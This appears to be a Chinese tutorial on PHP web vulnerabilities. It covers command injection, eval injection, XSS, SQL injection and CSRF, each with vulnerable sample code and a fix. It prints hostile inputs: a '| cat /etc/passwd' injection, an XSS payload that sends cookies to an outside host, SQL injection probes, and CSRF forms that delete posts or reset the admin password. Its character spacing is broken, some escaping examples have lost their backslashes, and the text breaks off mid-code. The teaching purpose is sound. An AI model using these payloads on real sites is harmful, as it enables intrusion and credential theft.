搜索

[20704] 2017-04-13_PHP漏洞全解(详细介绍)

文档创建者：s7ckTeam
浏览次数：22
最后更新：2025-01-18
2017-04-13_PHP漏洞全解(详细介绍) P H P 漏 洞 全 解 ( 详 细 介 绍 ) L e m o n S e c   2 0 1 7 - 0 4 - 1 3 针 对 P H P 的 网 站 主 要 存 在 下 面 几 种 攻 击 方 式 :   1 、 命 令 注 入 ( C o m m a n d   I n j e c t i o n )   2 、 e v a l 注 入 ( E v a l   I n j e c t i o n )   3 、 客 户 端 脚 本 攻 击 ( S c r i p t   I n s e r t i o n )   4 、 跨 网 站 脚 本 攻 击 ( C r o s s   S i t e   S c r i p t i n g ,   X S S )   5 、 S Q L 注 入 攻 击 ( S Q L   i n j e c t i o n )   6 、 跨 网 站 请 求 伪 造 攻 击 ( C r o s s   S i t e   R e q u e s t   F o r g e r i e s ,   C S R F )   7 、 S e s s i o n   会 话 劫 持 ( S e s s i o n   H i j a c k i n g )   8 、 S e s s i o n   固 定 攻 击 ( S e s s i o n   F i x a t i o n )   9 、 H T T P 响 应 拆 分 攻 击 ( H T T P   R e s p o n s e   S p l i t t i n g )   1 0 、 文 件 上 传 漏 洞 ( F i l e   U p l o a d   A t t a c k )   1 1 、 目 录 穿 越 漏 洞 ( D i r e c t o r y   T r a v e r s a l )   1 2 、 远 程 文 件 包 含 攻 击 ( R e m o t e   I n c l u s i o n )   1 3 、 动 态 函 数 注 入 攻 击 ( D y n a m i c   V a r i a b l e   E v a l u a t i o n )   1 4 、 U R L 攻 击 ( U R L   a t t a c k )   1 5 、 表 单 提 交 欺 骗 攻 击 ( S p o o f e d   F o r m   S u b m i s s i o n s )   1 6 、 H T T P 请 求 欺 骗 攻 击 ( S p o o f e d   H T T P   R e q u e s t s ) 命 令 注 入 攻 击 命 令 注 入 攻 击   P H P 中 可 以 使 用 下 列 5 个 函 数 来 执 行 外 部 的 应 用 程 序 或 函 数   s y s t e m 、 e x e c 、 p a s s t h r u 、 s h e l l _ e x e c 、 “ ( 与 s h e l l _ e x e c 功 能 相 同 )   函 数 原 型   s t r i n g   s y s t e m ( s t r i n g   c o m m a n d ,   i n t   & r e t u r n _ v a r )   c o m m a n d   要 执 行 的 命 令   r e t u r n _ v a r   存 放 执 行 命 令 的 执 行 后 的 状 态 值   s t r i n g   e x e c   ( s t r i n g   c o m m a n d ,   a r r a y   & o u t p u t ,   i n t   & r e t u r n _ v a r )   c o m m a n d   要 执 行 的 命 令   o u t p u t   获 得 执 行 命 令 输 出 的 每 一 行 字 符 串   r e t u r n _ v a r   存 放 执 行 命 令 后 的 状 态 值   v o i d   p a s s t h r u   ( s t r i n g   c o m m a n d ,   i n t   & r e t u r n _ v a r )   c o m m a n d   要 执 行 的 命 令   r e t u r n _ v a r   存 放 执 行 命 令 后 的 状 态 值   s t r i n g   s h e l l _ e x e c   ( s t r i n g   c o m m a n d )   c o m m a n d   要 执 行 的 命 令   漏 洞 实 例 漏 洞 实 例   例 1 : / / e x 1 . p h p < ? p h p $ d i r   =   $ _ G E T [ " d i r " ] ; i f   ( i s s e t ( $ d i r ) ) {                 e c h o   " < p r e > " ;                 s y s t e m ( " l s   - a l   " . $ d i r ) ;                 e c h o   " < / p r e > " ; }
? > 我 们 提 交 h t t p : / / w w w . s e c t o p . c o m / e x 1 . p h p ? d i r = |   c a t   / e t c / p a s s w d 提 交 以 后 ， 命 令 变 成 了   s y s t e m ( " l s   - a l   |   c a t   / e t c / p a s s w d " ) ; e v a l 注 入 攻 击 注 入 攻 击 e v a l 函 数 将 输 入 的 字 符 串 参 数 当 作 P H P 程 序 代 码 来 执 行 函 数 原 型 : m i x e d   e v a l ( s t r i n g   c o d e _ s t r )   / / e v a l 注 入 一 般 发 生 在 攻 击 者 能 控 制 输 入 的 字 符 串 的 时 候 / / e x 2 . p h p < ? p h p $ v a r   =   " v a r " ; i f   ( i s s e t ( $ _ G E T [ " a r g " ] ) ) {                 $ a r g   =   $ _ G E T [ " a r g " ] ;                 e v a l ( " $ v a r   =   $ a r g ; " ) ;                 e c h o   " $ v a r   = " . $ v a r ; } ? > 当 我 们 提 交   h t t p : / / w w w . s e c t o p . c o m / e x 2 . p h p ? a r g = p h p i n f o ( ) ; 漏 洞 就 产 生 了 动 态 函 数 动 态 函 数 < ? p h p f u n c   A ( ) {                 d o s o m e t h i n g ( ) ; } f u n c   B ( ) {                 d o s o m e t h i n g ( ) ; } i f   ( i s s e t ( $ _ G E T [ " f u n c " ] ) ) {                 $ m y f u n c   =   $ _ G E T [ " f u n c " ] ;                 e c h o   $ m y f u n c ( ) ; } ? > 程 序 员 原 意 是 想 动 态 调 用 A 和 B 函 数 ， 那 我 们 提 交 h t t p : / / w w w . s e c t o p . c o m / e x . p h p ? f u n c = p h p i n f o   漏 洞 产 生 防 范 方 法 防 范 方 法 1 、 尽 量 不 要 执 行 外 部 命 令
2 、 使 用 自 定 义 函 数 或 函 数 库 来 替 代 外 部 命 令 的 功 能 3 、 使 用 e s c a p e s h e l l a r g 函 数 来 处 理 命 令 参 数 4 、 使 用 s a f e _ m o d e _ e x e c _ d i r 指 定 可 执 行 文 件 的 路 径 e s a c p e s h e l l a r g 函 数 会 将 任 何 引 起 参 数 或 命 令 结 束 的 字 符 转 义 ， 单 引 号 “ ' ” ， 替 换 成 “ ' ” ， 双 引 号 “ " ” ， 替 换 成 “ " ” ， 分 号 “ ; ” 替 换 成 “ ; ” 用 s a f e _ m o d e _ e x e c _ d i r 指 定 可 执 行 文 件 的 路 径 ， 可 以 把 会 使 用 的 命 令 提 前 放 入 此 路 径 内 s a f e _ m o d e   =   O n s a f e _ m o d e _ e x e c _ d i   r =   / u s r / l o c a l / p h p / b i n / 客 户 端 脚 本 植 入 客 户 端 脚 本 植 入 客 户 端 脚 本 植 入 ( S c r i p t   I n s e r t i o n ) ， 是 指 将 可 以 执 行 的 脚 本 插 入 到 表 单 、 图 片 、 动 画 或 超 链 接 文 字 等 对 象 内 。 当 用 户 打 开 这 些 对 象 后 ， 攻 击 者 所 植 入 的 脚 本 就 会 被 执 行 ， 进 而 开 始 攻 击 。 可 以 被 用 作 脚 本 植 入 的 H T M L 标 签 一 般 包 括 以 下 几 种 : 1 、 < s c r i p t > 标 签 标 记 的 j a v a s c r i p t 和 v b s c r i p t 等 页 面 脚 本 程 序 。 在 < s c r i p t > 标 签 内 可 以 指 定 j s 程 序 代 码 ， 也 可 以 在 s r c 属 性 内 指 定 j s 文 件 的 U R L 路 径 2 、 < o b j e c t > 标 签 标 记 的 对 象 。 这 些 对 象 是 j a v a   a p p l e t 、 多 媒 体 文 件 和 A c t i v e X 控 件 等 。 通 常 在 d a t a 属 性 内 指 定 对 象 的 U R L 路 径 3 、 < e m b e d > 标 签 标 记 的 对 象 。 这 些 对 象 是 多 媒 体 文 件 ， 例 如 : s w f 文 件 。 通 常 在 s r c 属 性 内 指 定 对 象 的 U R L 路 径 4 、 < a p p l e t > 标 签 标 记 的 对 象 。 这 些 对 象 是 j a v a   a p p l e t ， 通 常 在 c o d e b a s e 属 性 内 指 定 对 象 的 U R L 路 径 5 、 < f o r m > 标 签 标 记 的 对 象 。 通 常 在 a c t i o n 属 性 内 指 定 要 处 理 表 单 数 据 的 w e b 应 用 程 序 的 U R L 路 径 客 户 端 脚 本 植 入 的 攻 击 步 骤 客 户 端 脚 本 植 入 的 攻 击 步 骤 1 、 攻 击 者 注 册 普 通 用 户 后 登 陆 网 站 2 、 打 开 留 言 页 面 ， 插 入 攻 击 的 j s 代 码 3 、 其 他 用 户 登 录 网 站 （ 包 括 管 理 员 ） ， 浏 览 此 留 言 的 内 容 4 、 隐 藏 在 留 言 内 容 中 的 j s 代 码 被 执 行 ， 攻 击 成 功 实 例 实 例 数 据 库 C R E A T E   T A B L E   ` p o s t m e s s a g e `   (     ` i d `   i n t ( 1 1 )   N O T   N U L L   a u t o _ i n c r e m e n t ,     ` s u b j e c t `   v a r c h a r ( 6 0 )   N O T   N U L L   d e f a u l t   ” ,     ` n a m e `   v a r c h a r ( 4 0 )   N O T   N U L L   d e f a u l t   ” ,     ` e m a i l `   v a r c h a r ( 2 5 )   N O T   N U L L   d e f a u l t   ” ,     ` q u e s t i o n `   m e d i u m t e x t   N O T   N U L L ,     ` p o s t d a t e `   d a t e t i m e   N O T   N U L L   d e f a u l t   ' 0 0 0 0 - 0 0 - 0 0   0 0 : 0 0 : 0 0 ′ ,     P R I M A R Y   K E Y     ( ` i d ` ) )   E N G I N E = M y I S A M     D E F A U L T   C H A R S E T = g b 2 3 1 2   C O M M E N T = ' 使 用 者 的 留 言 '   A U T O _ I N C R E M E N T = 6 9   ; / / a d d . p h p   插 入 留 言 / / l i s t . p h p   留 言 列 表 / / s h o w . p h p   显 示 留 言 提 交 下 图 的 留 言 浏 览 此 留 言 的 时 候 会 执 行 j s 脚 本 插 入   < s c r i p t > w h i l e ( 1 ) { w i n d o w s . o p e n ( ) ; } < / s c r i p t >   无 限 弹 框 插 入 < s c r i p t > l o c a t i o n . h r e f = " h t t p : / / w w w . s e c t o p . c o m " ; < / s c r i p t >   跳 转 钓 鱼 页 面 或 者 使 用 其 他 自 行 构 造 的 j s 代 码 进 行 攻 击
防 范 的 方 法 防 范 的 方 法 一 般 使 用 h t m l s p e c i a l c h a r s 函 数 来 将 特 殊 字 符 转 换 成 H T M L 编 码 函 数 原 型 s t r i n g   h t m l s p e c i a l c h a r s   ( s t r i n g   s t r i n g ,   i n t   q u o t e _ s t y l e ,   s t r i n g   c h a r s e t ) s t r i n g   是 要 编 码 的 字 符 串   q u o t e _ s t y l e   可 选 , 值 可 为 E N T _ C O M P A T 、 E N T _ Q U O T E S 、 E N T _ N O Q U O T E S ， 默 认 值 E N T _ C O M P A T ， 表 示 只 转 换 双 引 号 不 转 换 单 引 号 。 E N T _ Q U O T E S ， 表 示 双 引 号 和 单 引 号 都 要 转 换 。 E N T _ N O Q U O T E S ， 表 示 双 引 号 和 单 引 号 都 不 转 换   c h a r s e t   可 选 , 表 示 使 用 的 字 符 集 函 数 会 将 下 列 特 殊 字 符 转 换 成 h t m l 编 码 : &   — - >   & "   — - >   " ‘   — - >   ‘ <   — - >   < >   — - >   > 把 s h o w . p h p 的 第 9 8 行 改 成 < ? p h p   e c h o   h t m l s p e c i a l c h a r s ( n l 2 b r ( $ r o w [ ' q u e s t i o n ' ] ) ,   E N T _ Q U O T E S ) ;   ? > 然 后 再 查 看 插 入 j s 的 漏 洞 页 面 X S S 跨 站 脚 本 攻 击 跨 站 脚 本 攻 击   X S S ( C r o s s   S i t e   S c r i p t i n g ) ， 意 为 跨 网 站 脚 本 攻 击 ， 为 了 和 样 式 表 c s s ( C a s c a d i n g   S t y l e   S h e e t ) 区 别 ， 缩 写 为 X S S 跨 站 脚 本 主 要 被 攻 击 者 利 用 来 读 取 网 站 用 户 的 c o o k i e s 或 者 其 他 个 人 数 据 ， 一 旦 攻 击 者 得 到 这 些 数 据 ， 那 么 他 就 可 以 伪 装 成 此 用 户 来 登 录 网 站 ， 获 得 此 用 户 的 权 限 。 跨 站 脚 本 攻 击 的 一 般 步 骤 : 1 、 攻 击 者 以 某 种 方 式 发 送 x s s 的 h t t p 链 接 给 目 标 用 户 2 、 目 标 用 户 登 录 此 网 站 ， 在 登 陆 期 间 打 开 了 攻 击 者 发 送 的 x s s 链 接 3 、 网 站 执 行 了 此 x s s 攻 击 脚 本 4 、 目 标 用 户 页 面 跳 转 到 攻 击 者 的 网 站 ， 攻 击 者 取 得 了 目 标 用 户 的 信 息 5 、 攻 击 者 使 用 目 标 用 户 的 信 息 登 录 网 站 ， 完 成 攻 击 当 有 存 在 跨 站 漏 洞 的 程 序 出 现 的 时 候 ， 攻 击 者 可 以 构 造 类 似   h t t p : / / w w w . s e c t o p . c o m / s e a r c h . p h p ? k e y = < s c r i p t > d o c u m e n t . l o c a t i o n = ' h t t p : / / w w w . h a c k . c o m / g e t c o o k i e . p h p ? c o o k i e = ' + d o c u m e n t . c o o k i e ; < / s c r i p t >   ， 诱 骗 用 户 点 击 后 ， 可 以 获 取 用 户 c o o k i e s 值 防 范 方 法 防 范 方 法 : 利 用 h t m l s p e c i a l c h a r s 函 数 将 特 殊 字 符 转 换 成 H T M L 编 码 函 数 原 型 s t r i n g   h t m l s p e c i a l c h a r s   ( s t r i n g   s t r i n g ,   i n t   q u o t e _ s t y l e ,   s t r i n g   c h a r s e t )                 s t r i n g   是 要 编 码 的 字 符 串                   q u o t e _ s t y l e   可 选 , 值 可 为 E N T _ C O M P A T 、 E N T _ Q U O T E S 、 E N T _ N O Q U O T E S ， 默 认 值 E N T _ C O M P A T ， 表 示 只 转 换 双 引 号 不 转 换 单 引 号 。 E N T _ Q U O T E S ， 表 示 双 引 号 和 单 引 号 都 要 转 换 。 E N T _ N O Q U O T E S ， 表 示 双 引 号 和 单 引 号 都 不 转 换                   c h a r s e t   可 选 , 表 示 使 用 的 字 符 集 函 数 会 将 下 列 特 殊 字 符 转 换 成 h t m l 编 码 : &   — - >   & "   — - >   " ‘   — - >   ‘ <   — - >   < >   — - >   >
$ _ S E R V E R [ " P H P _ S E L F " ] 变 量 的 跨 站 在 某 个 表 单 中 ， 如 果 提 交 参 数 给 自 己 ， 会 用 这 样 的 语 句 < f o r m   a c t i o n = " < ? p h p   e c h o   $ _ S E R V E R [ " P H P _ S E L F " ] ; ? > "   m e t h o d = " P O S T " > … … < / f o r m > $ _ S E R V E R [ " P H P _ S E L F " ] 变 量 的 值 为 当 前 页 面 名 称 例 : h t t p : / / w w w . s e c t o p . c o m / g e t . p h p g e t . p h p 中 上 述 的 表 单 那 么 我 们 提 交 h t t p : / / w w w . s e c t o p . c o m / g e t . p h p / " > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) ; < / s c r i p t > 那 么 表 单 变 成 < f o r m   a c t i o n = " g e t . p h p / " > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) ; < / s c r i p t > "   m e t h o d = " P O S T " > 跨 站 脚 本 被 插 进 去 了 防 御 方 法 还 是 使 用 h t m l s p e c i a l c h a r s 过 滤 输 出 的 变 量 ， 或 者 提 交 给 自 身 文 件 的 表 单 使 用 < f o r m   a c t i o n = " "   m e t h o d = " p o s t " > 这 样 直 接 避 免 了 $ _ S E R V E R [ " P H P _ S E L F " ] 变 量 被 跨 站 S Q L 注 入 攻 击 注 入 攻 击   S Q L 注 入 攻 击 ( S Q L   I n j e c t i o n ) ， 是 攻 击 者 在 表 单 中 提 交 精 心 构 造 的 s q l 语 句 ， 改 动 原 来 的 s q l 语 句 ， 如 果 w e b 程 序 没 有 对 提 交 的 数 据 经 过 检 查 ， 那 么 就 会 造 成 s q l 注 入 攻 击 。 　 　 　 　 S Q L 注 入 攻 击 的 一 般 步 骤 注 入 攻 击 的 一 般 步 骤 : 　 　 1 、 攻 击 者 访 问 有 S Q L 注 入 漏 洞 的 站 点 ， 寻 找 注 入 点 　 　 2 、 攻 击 者 构 造 注 入 语 句 ， 注 入 语 句 和 程 序 中 的 S Q L 语 句 结 合 生 成 新 的 s q l 语 句 　 　 3 、 新 的 s q l 语 句 被 提 交 到 数 据 库 中 执 行   处 理 　 　 4 、 数 据 库 执 行 了 新 的 S Q L 语 句 ， 引 发 S Q L 注 入 攻 击 实 例 实 例 　 　 数 据 库 　 　 C R E A T E   T A B L E   ` p o s t m e s s a g e `   ( 　 　 ` i d `   i n t ( 1 1 )   N O T   N U L L   a u t o _ i n c r e m e n t , 　 　 ` s u b j e c t `   v a r c h a r ( 6 0 )   N O T   N U L L   d e f a u l t   ” , 　 　 ` n a m e `   v a r c h a r ( 4 0 )   N O T   N U L L   d e f a u l t   ” , 　 　 ` e m a i l `   v a r c h a r ( 2 5 )   N O T   N U L L   d e f a u l t   ” , 　 　 ` q u e s t i o n `   m e d i u m t e x t   N O T   N U L L , 　 　 ` p o s t d a t e `   d a t e t i m e   N O T   N U L L   d e f a u l t   ' 0 0 0 0 - 0 0 - 0 0   0 0 : 0 0 : 0 0 ′ , 　 　 P R I M A R Y   K E Y     ( ` i d ` ) 　 　 )   E N G I N E = M y I S A M     D E F A U L T   C H A R S E T = g b 2 3 1 2   C O M M E N T = ' 运 用 者 的 留 言 '   A U T O _ I N C R E M E N T = 6 9   ; 　 　 g r a n t   a l l   p r i v i l e g e s   o n   c h 3 . *   t o   ‘ s e c t o p ' @ l o c a l h o s t   i d e n t i f i e d   b y   ' 1 2 3 4 5 6 ′ ; 　 　 / / a d d . p h p   插 入 留 言 　 　 / / l i s t . p h p   留 言 列 表 　 　 / / s h o w . p h p   显 示 留 言 　 　 页 面   h t t p : / / w w w . n e t s o s . c o m . c n / s h o w . p h p ? i d = 7 1   可 能 存 在 注 入 点 ， 我 们 来 测 试 　 　 h t t p : / / w w w . n e t s o s . c o m . c n / s h o w . p h p ? i d = 7 1   a n d   1 = 1 　 　 返 回 页 面
/ /   执 行 m y s q l 查 询 语 句 　 　 参 数 i d 传 递 进 来 后 ， 和 前 面 的 字 符 串 结 合 的 s q l 语 句 放 入 数 据 库 执 行   查 询 　 　 提 交   a n d   1 = 1 ， 语 句 变 成 s e l e c t   *   f r o m   p o s t m e s s a g e   w h e r e   i d   =   7 1   a n d   1 = 1   这 语 句 前 值 后 值 都 为 真 ， a n d 以 后 也 为 真 ， 返 回 查 询 到 的 数 据 　 　 提 交   a n d   1 = 2 ， 语 句 变 成 s e l e c t   *   f r o m   p o s t m e s s a g e   w h e r e   i d   =   7 1   a n d   1 = 2   这 语 句 前 值 为 真 ， 后 值 为 假 ， a n d 以 后 为 假 ， 查 询 不 到 任 何 数 据 　 　 正 常 的 S Q L 查 询 ， 经 过 我 们 构 造 的 语 句 之 后 ， 形 成 了 S Q L 注 入 攻 击 。 通 过 这 个 注 入 点 ， 我 们 还 可 以 进 一 步 拿 到 权 限 ， 比 如 说 运 用   u n i o n 读 取 管 理 密 码 ， 读 取 数 据 库 信 息 ， 或 者 用 m y s q l 的 l o a d _ f i l e ， i n t o   o u t f i l e 等 函 数 进 一 步 渗 透 。 防 范 方 法 防 范 方 法 　 　 整 型 参 数 　 整 型 参 数 : 　 　 运 用   i n t v a l 函 数 将 数 据 转 换 成 整 数 　 　 函 数 原 型 　 　 　 　 i n t   i n t v a l ( m i x e d   v a r ,   i n t   b a s e ) 　 　                 v a r 是 要 转 换 成 整 形 的 变 量 　 　                 b a s e ， 可 选 ， 是 基 础 数 ， 默 认 是 1 0 　 　 浮 点 型 参 数 　 　 浮 点 型 参 数 : 　 　 运 用   f l o a t v a l 或 d o u b l e v a l 函 数 分 别 转 换 单 精 度 和 双 精 度 浮 点 型 参 数 　 　 函 数 原 型 　 　 　 　 i n t   f l o a t v a l ( m i x e d   v a r ) 　 　                 v a r 是 要 转 换 的 变 量 　         i n t   d o u b l e v a l ( m i x e d   v a r ) 　 　                 v a r 是 要 转 换 的 变 量 　 　 字 符 型 参 数 　 　 字 符 型 参 数 : 　 　 运 用   a d d s l a s h e s 函 数 来 将 单 引 号 “ ' ” 转 换 成 “ ' ” ， 双 引 号 “ " ” 转 换 成 “ " ” ， 反 斜 杠 “ ” 转 换 成 “ ” ， N U L L 字 符 加 上 反 斜 杠 “ ” 　 　 函 数 原 型 　 　 s t r i n g   a d d s l a s h e s   ( s t r i n g   s t r ) 　 　                 s t r 是 要 检 查 的 字 符 串 　 　 那 么 刚 才 出 现 的 代 码 漏 洞 ， 我 们 可 以 这 样 修 补 　 　 / /   执 行 m y s q l 查 询 语 句 　 　 $ q u e r y   =   " s e l e c t   *   f r o m   p o s t m e s s a g e   w h e r e   i d   =   " . i n t v a l ( $ _ G E T [ " i d " ] ) ; 　 　 $ r e s u l t   =   m y s q l _ q u e r y ( $ q u e r y ) o r   d i e ( " 执 行 y S Q L 查 询 语 句 失 败 ： "   .   m y s q l _ e r r o r ( ) ) ;   　 　 如 果 是 字 符 型 ， 先 判 断 m a g i c _ q u o t e s _ g p c 能 无 法   为 O n , 当 不 为 O n 的 时 候 运 用   a d d s l a s h e s 转 义 特 殊 字 符
　 　 i f ( g e t _ m a g i c _ q u o t e s _ g p c ( ) ) 　 　 { 　 　 $ v a r   =   $ _ G E T [ " v a r " ] ; 　 　 } 　 　 e l s e 　 　 { 　 　 $ v a r   =   a d d s l a s h e s ( $ _ G E T [ " v a r " ] ) ; 　 　 } 垮 网 站 伪 造 请 求 垮 网 站 伪 造 请 求   C S R F ( C r o s s   S i t e   R e q u e s t   F o r g e r i e s ) ， 意 为 跨 网 站 请 求 伪 造 ， 也 有 写 为 X S R F 。 攻 击 者 伪 造 目 标 用 户 的 H T T P 请 求 ， 然 后 此 请 求 发 送 到 有 C S R F 漏 洞 的 网 站 ， 网 站 执 行 此 请 求 后 ， 引 发 跨 站 请 求 伪 造 攻 击 。 攻 击 者 利 用 隐 蔽 的 H T T P 连 接 ， 让 目 标 用 户 在 不 注 意 的 情 况 下 单 击 这 个 链 接 ， 由 于 是 用 户 自 己 点 击 的 ， 而 他 又 是 合 法 用 户 拥 有 合 法 权 限 ， 所 以 目 标 用 户 能 够 在 网 站 内 执 行 特 定 的 H T T P 链 接 ， 从 而 达 到 攻 击 者 的 目 的 。 例 如 : 某 个 购 物 网 站 购 买 商 品 时 ， 采 用 h t t p : / / w w w . s h o p . c o m / b u y . p h p ? i t e m = w a t c h & n u m = 1 ， i t e m 参 数 确 定 要 购 买 什 么 物 品 ， n u m 参 数 确 定 要 购 买 数 量 ， 如 果 攻 击 者 以 隐 藏 的 方 式 发 送 给 目 标 用 户 链 接 < i m g   s r c = " h t t p : / / w w w . s h o p . c o m / b u y . p h p ? i t e m = w a t c h & n u m = 1 0 0 0 " / > ， 那 么 如 果 目 标 用 户 不 小 心 访 问 以 后 ， 购 买 的 数 量 就 成 了 1 0 0 0 个 实 例 实 例 随 缘 网 络 P H P 留 言 板 V 1 . 0 任 意 删 除 留 言 / / d e l b o o k . p h p   此 页 面 用 于 删 除 留 言 < ? p h p i n c l u d e _ o n c e ( " d l y z . p h p " ) ;         / / d l y z . p h p 用 户 验 证 权 限 ， 当 权 限 是 a d m i n 的 时 候 方 可 删 除 留 言 i n c l u d e _ o n c e ( " . . / c o n n . p h p " ) ; $ d e l = $ _ G E T [ " d e l " ] ; $ i d = $ _ G E T [ " i d " ] ; i f   ( $ d e l = = " d a t a " ) { $ I D _ D e l e =   i m p l o d e ( " , " , $ _ P O S T [ ' a d i d ' ] ) ; $ s q l = " d e l e t e   f r o m   b o o k   w h e r e   i d   i n   ( " . $ I D _ D e l e . " ) " ; m y s q l _ q u e r y ( $ s q l ) ; } e l s e { $ s q l = " d e l e t e   f r o m   b o o k   w h e r e   i d = " . $ i d ;   / / 传 递 要 删 除 的 留 言 I D m y s q l _ q u e r y ( $ s q l ) ; } m y s q l _ c l o s e ( $ c o n n ) ; e c h o   " < s c r i p t   l a n g u a g e = ' j a v a s c r i p t ' > " ;   e c h o   " a l e r t ( ‘ 删 除 成 功 ！ ' ) ; " ; e c h o   "   l o c a t i o n = ' b o o k . p h p ' ; " ;   e c h o   " < / s c r i p t > " ; ? > 当 我 们 具 有 a d m i n 权 限 ， 提 交 h t t p : / / l o c a l h o s t / m a n a g e / d e l b o o k . p h p ? i d = 2   时 ， 就 会 删 除 i d 为 2 的 留 言 利 用 方 法 : 我 们 使 用 普 通 用 户 留 言 （ 源 代 码 方 式 ） ， 内 容 为 < i m g   / > < i m g   / > < i m g   / > < i m g   / > 插 入 4 张 图 片 链 接 分 别 删 除 4 个 i d 留 言 ， 然 后 我 们 返 回 首 页 浏 览 看 ， 没 有 什 么 变 化 。 。 图 片 显 示 不 了  
现 在 我 们 再 用 管 理 员 账 号 登 陆 后 ， 来 刷 新 首 页 ， 会 发 现 留 言 就 剩 一 条 ， 其 他 在 图 片 链 接 中 指 定 的 I D 号 的 留 言 ， 全 部 都 被 删 除 。 攻 击 者 在 留 言 中 插 入 隐 藏 的 图 片 链 接 ， 此 链 接 具 有 删 除 留 言 的 作 用 ， 而 攻 击 者 自 己 访 问 这 些 图 片 链 接 的 时 候 ， 是 不 具 有 权 限 的 ， 所 以 看 不 到 任 何 效 果 ， 但 是 当 管 理 员 登 陆 后 ， 查 看 此 留 言 ， 就 会 执 行 隐 藏 的 链 接 ， 而 他 的 权 限 又 是 足 够 大 的 ， 从 而 这 些 留 言 就 被 删 除 了 修 改 管 理 员 密 码 / / p a s s . p h p i f ( $ _ G E T [ " a c t " ] ) { $ u s e r n a m e = $ _ P O S T [ " u s e r n a m e " ] ; $ s h = $ _ P O S T [ " s h " ] ; $ g g = $ _ P O S T [ " g g " ] ; $ t i t l e = $ _ P O S T [ " t i t l e " ] ; $ c o p y r i g h t = $ _ P O S T [ " c o p y r i g h t " ] . " < b r / > 设 计 制 作 ： < a   h r e f = h t t p : / / w w w . 1 1 5 c n . c n > 厦 门 随 缘 网 络 科 技 < / a > " ; $ p a s s w o r d = m d 5 ( $ _ P O S T [ " p a s s w o r d " ] ) ; i f ( e m p t y ( $ _ P O S T [ " p a s s w o r d " ] ) ) { $ s q l = " u p d a t e   g l y   s e t   u s e r n a m e = ' " . $ u s e r n a m e . " ' , s h = " . $ s h . " , g g = ' " . $ g g . " ' , t i t l e = ' " . $ t i t l e . " ' , c o p y r i g h t = ' " . $ c o p y r i g h t . " '   w h e r e   i d = 1 " ; } e l s e { $ s q l = " u p d a t e   g l y   s e t   u s e r n a m e = ' " . $ u s e r n a m e . " ' , p a s s w o r d = ' " . $ p a s s w o r d . " ' , s h = " . $ s h . " , g g = ' " . $ g g . " ' , t i t l e = ' " . $ t i t l e . " ' , c o p y r i g h t = ' " . $ c o p y r i g h t . " ' w h e r e   i d = 1 " ; } m y s q l _ q u e r y ( $ s q l ) ; m y s q l _ c l o s e ( $ c o n n ) ; e c h o   " < s c r i p t   l a n g u a g e = ' j a v a s c r i p t ' > " ;   e c h o   " a l e r t ( ‘ 修 改 成 功 ！ ' ) ; " ; e c h o   "   l o c a t i o n = ' p a s s . p h p ' ; " ;   e c h o   " < / s c r i p t > " ; } 这 个 文 件 用 于 修 改 管 理 密 码 和 网 站 设 置 的 一 些 信 息 ， 我 们 可 以 直 接 构 造 如 下 表 单 : < b o d y > < f o r m   a c t i o n = " h t t p : / / l o c a l h o s t / m a n a g e / p a s s . p h p ? a c t = x g "   m e t h o d = " p o s t "   n a m e = " f o r m 1 "   i d = " f o r m 1 " > < i n p u t   t y p e = " r a d i o "   v a l u e = " 1 "     n a m e = " s h " > < i n p u t   t y p e = " r a d i o "   n a m e = " s h "   c h e c k e d   v a l u e = " 0 " >   < i n p u t   t y p e = " t e x t "   n a m e = " u s e r n a m e "   v a l u e = " r o o t " > < i n p u t   t y p e = " p a s s w o r d "   n a m e = " p a s s w o r d "   v a l u e = " r o o t " >   < i n p u t   t y p e = " t e x t "     n a m e = " t i t l e "     v a l u e = " 随 缘 网 络 P H P 留 言 板 V 1 . 0 ( 带 审 核 功 能 ) "   > < t e x t a r e a     n a m e = " g g "     r o w s = " 6 "   c o l s = " 8 0 "   > 欢 迎 您 安 装 使 用 随 缘 网 络 P H P 留 言 板 V 1 . 0 ( 带 审 核 功 能 ) ！ < / t e x t a r e a > < t e x t a r e a     n a m e = " c o p y r i g h t "     r o w s = " 6 "   c o l s = " 8 0 "   > 随 缘 网 络 P H P 留 言 本 V 1 . 0     版 权 所 有 ： 厦 门 随 缘 网 络 科 技   2 0 0 5 - 2 0 0 9 < b r / > 承 接 网 站 建 设 及 系 统 定 制   提 供 优 惠 主 机 域 名 < / t e x t a r e a > < / f o r m > < / b o d y > 存 为 a t t a c k . h t m l ， 放 到 自 己 网 站 上 h t t p : / / w w w . s e c t o p . c o m / a t t a c k . h t m l ， 此 页 面 访 问 后 会 自 动 向 目 标 程 序 的 p a s s . p h p 提 交 参 数 ， 用 户 名 修 改 为 r o o t ， 密 码 修 改 为 r o o t ， 然 后 我 们 去 留 言 板 发 一 条 留 言 ， 隐 藏 这 个 链 接 ， 管 理 访 问 以 后 ， 他 的 用 户 名 和 密 码 全 部 修 改 成 了 r o o t 防 范 方 法 防 范 方 法 防 范 C S R F 要 比 防 范 其 他 攻 击 更 加 困 难 ， 因 为 C S R F 的 H T T P 请 求 虽 然 是 攻 击 者 伪 造 的 ， 但 是 却 是 由 目 标 用 户 发 出 的 ， 一 般 常 见 的 防 范 方 法 有 下 面 几 种 : 1 、 检 查 网 页 的 来 源 2 、 检 查 内 置 的 隐 藏 变 量
3 、 使 用 P O S T ， 不 要 使 用 G E T 检 查 内 置 隐 藏 变 量 检 查 内 置 隐 藏 变 量 我 们 在 表 单 中 内 置 一 个 隐 藏 变 量 和 一 个 s e s s i o n 变 量 ， 然 后 检 查 这 个 隐 藏 变 量 和 s e s s i o n 变 量 是 否 相 等 ， 以 此 来 判 断 是 否 同 一 个 网 页 所 调 用 < ? p h p i n c l u d e _ o n c e ( " d l y z . p h p " ) ; i n c l u d e _ o n c e ( " . . / c o n n . p h p " ) ; i f ( $ _ G E T [ " a c t " ] ) { i f   ( ! i s s e t ( $ _ S E S S I O N [ " p o s t _ i d " ] ) ) {                   / /   生 成 唯 一 的 I D ， 并 使 用 M D 5 来 加 密                   $ p o s t _ i d   =   m d 5 ( u n i q i d ( r a n d ( ) ,   t r u e ) ) ;                   / /   创 建 S e s s i o n 变 量                   $ _ S E S S I O N [ " p o s t _ i d " ]   =   $ p o s t _ i d ; } / /   检 查 是 否 相 等 i f   ( i s s e t ( $ _ S E S S I O N [ " p o s t _ i d " ] ) ) {                   / /   不 相 等                   i f   ( $ _ S E S S I O N [ " p o s t _ i d " ]   ! =   $ _ P O S T [ " p o s t _ i d " ] )                   {                                     / /   清 除 P O S T 变 量                                     u n s e t ( $ _ P O S T ) ;                                     e c h o   " 